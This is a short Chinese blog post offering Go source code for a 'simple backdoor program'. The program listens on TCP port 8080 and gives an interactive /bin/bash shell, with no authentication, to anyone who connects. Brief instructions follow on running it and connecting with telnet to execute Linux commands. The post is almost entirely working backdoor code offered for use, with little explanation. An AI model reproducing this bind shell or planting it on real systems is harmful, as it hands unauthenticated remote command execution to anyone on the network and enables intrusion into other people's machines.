首页 > 编程语言 >Golang实现简单的后门程序

Golang实现简单的后门程序

时间:2023-11-07 09:44:16浏览次数:30  
标签:后门 err cmd 程序 Golang io go net conn

package main

import (
	"io"
	"net"
	"os/exec"
)

func main() {
	var (
		listener net.Listener
		err      error
		conn     net.Conn
	)
	listener, err = net.Listen("tcp", ":8080")
	if err != nil {
		panic(err)
	}

	for {
		conn, err = listener.Accept()
		if err != nil {
			panic(err)
		}

		go handler(conn)

	}
}

// 函数处理
func handler(conn net.Conn) {
	var (
		cmd *exec.Cmd
		wp  *io.PipeWriter
		rp  *io.PipeReader
	)
	defer conn.Close()
	cmd = exec.Command("/bin/bash", "-i")
	cmd.Stdin = conn
	rp, wp = io.Pipe()
	cmd.Stdout = wp
	go io.Copy(conn, rp) 
	cmd.Run()            
}

启动 go run main.go

新打开一个窗口

telnet 127.0.0.1 8080

输入对应linux指令便可执行

标签:后门,err,cmd,程序,Golang,io,go,net,conn
From: https://www.cnblogs.com/qcy-blog/p/17814324.html

相关文章

  • 在NestJS应用程序中使用 Unleash 实现功能切换的指南
    前言近年来,软件开发行业迅速发展,功能开关(FeatureToggle)成为了一种常见的开发实践。通过功能开关,可以在运行时动态地启用或禁用应用程序的特定功能,以提供更灵活的软件交付和配置管理。对于使用NestJS框架构建的应用程序而言,实现功能开关也是一项重要的任务。而Unleash是一个......
  • 就今年这行情,成为Android程序员还有发展前景吗?
    前言做为一名IT行业从业者,我认为IT行业饱和这个说法是不准确的,应该叫低端IT业趋于饱和,而技术深入的IT领域人才远远未达到饱和,甚至这样的人才还很稀缺。近些年计算机相关专业成为了热门专业,大家都知道这个行业赚钱,于是蜂拥而至。认为学了计算机就能进中大厂,其实能进去的都是少部分人......
  • 程序员的发展前景怎么样?抢饭碗?一大批00后程序员正在进入……
    前言在这个拼命内卷加班,只为挣多一点血汗钱的时代,想实现“10年内年入百万”,真的不可能吗?也不是不可能,其实中国青年报的就业调查中已经有了指向:投身互联网行业,入职大厂,十年后年薪百万不是梦!互联网行业能实现年薪百万?00后之所以敢立下10年内会年入百万的壮志,我想,是因为他们都准备背靠......
  • 宠物养成猫狗商城门店问诊档案流量主小程序开发
    宠物养成猫狗商城门店问诊档案流量主小程序开发猫狗宠物养成商城门店问诊档案流量主小程序开发,这是一个充满趣味性和创新性的项目。通过将宠物养成游戏与商城、问诊服务、社交功能等相结合,为用户提供一站式的宠物养育体验。在宠物养成方面,用户可以通过每日完成任务来收集主粮,并使用......
  • Golang 基础(一)
    1.packagemanagementgopackagemanagement1.history2.gomodulesGOPATH:Unifiedpackagestoragepath-notsupportversioncontrolofdependencypackagesGOPATHmode:useGOPATHtomanageGOPATH:thepath不是使用GOPATH模式就一定是使用GOPATH路径GOROOT是go......
  • java怎么去入门,用java怎么开发一个简单的安卓程序?
    Java是一种广泛使用的编程语言,特别适合于安卓应用开发。如果你想入门Java并使用它来开发安卓应用,你可以遵循以下步骤:入门Java学习Java的基础知识:数据类型、变量、运算符控制流(if/else语句、switch语句、循环)方法(函数)面向对象编程(类、对象、继承、多态性)异常处理集合框......
  • 如何通过java程序访问数据库,举个简单的例子,提供执行过程
    要通过Java程序访问数据库,你需要使用JDBC(JavaDatabaseConnectivity)API,它是一个用于执行SQL语句的JavaAPI。以下是使用JDBC访问数据库的基本步骤,以及一个简单的示例,该示例连接到数据库并执行一个查询。步骤:加载数据库驱动:这是告诉JVM使用哪个数据库驱动。建立连接:使用数据库......
  • Linux_守护进程和部署各类程序的守护进程
    守护进程linux系统进程管理工具systemdsystemd是内核启动后的第一个用户进程,PID为1,是所有其它用户进程的父进程守护进程脚本1.在Linux(ubuntu)中,可以使用nohup命令以守护进程的方式,在后台运行Python脚本。nohup命令可以在终端关闭后继续执行脚本,并将脚本的输出重......
  • 短视频小程序app开发微视频网红短剧分销付费开发
      短视频小程序已成为网民娱乐消遣的工具,用户对内容的追求,都是在短剧平台上实现的,开发一款短剧小程序视频软件。该小程序软件是针对网红短剧,小程序软件是分销的付费形式,为用户提供更多优质内容。  短视频小程序软件主要功能包括:  1.随时都可以在手机上刷视频,无需下载......
  • 海外短剧cps分销系统短剧小程序软件开发
      移动端的用户在不断的增加,移动端的内容也在不断的扩大,其中海外短剧的作为一种新的独特表现形式,正在逐渐的受到全球观众的青睐。为了解决这些用户市场,开发一款高效的短剧小程序软件,方便海外的短剧CPS分销系统的实现,这就是短剧系统小程序软件的重要性。  移动端海外短剧CP......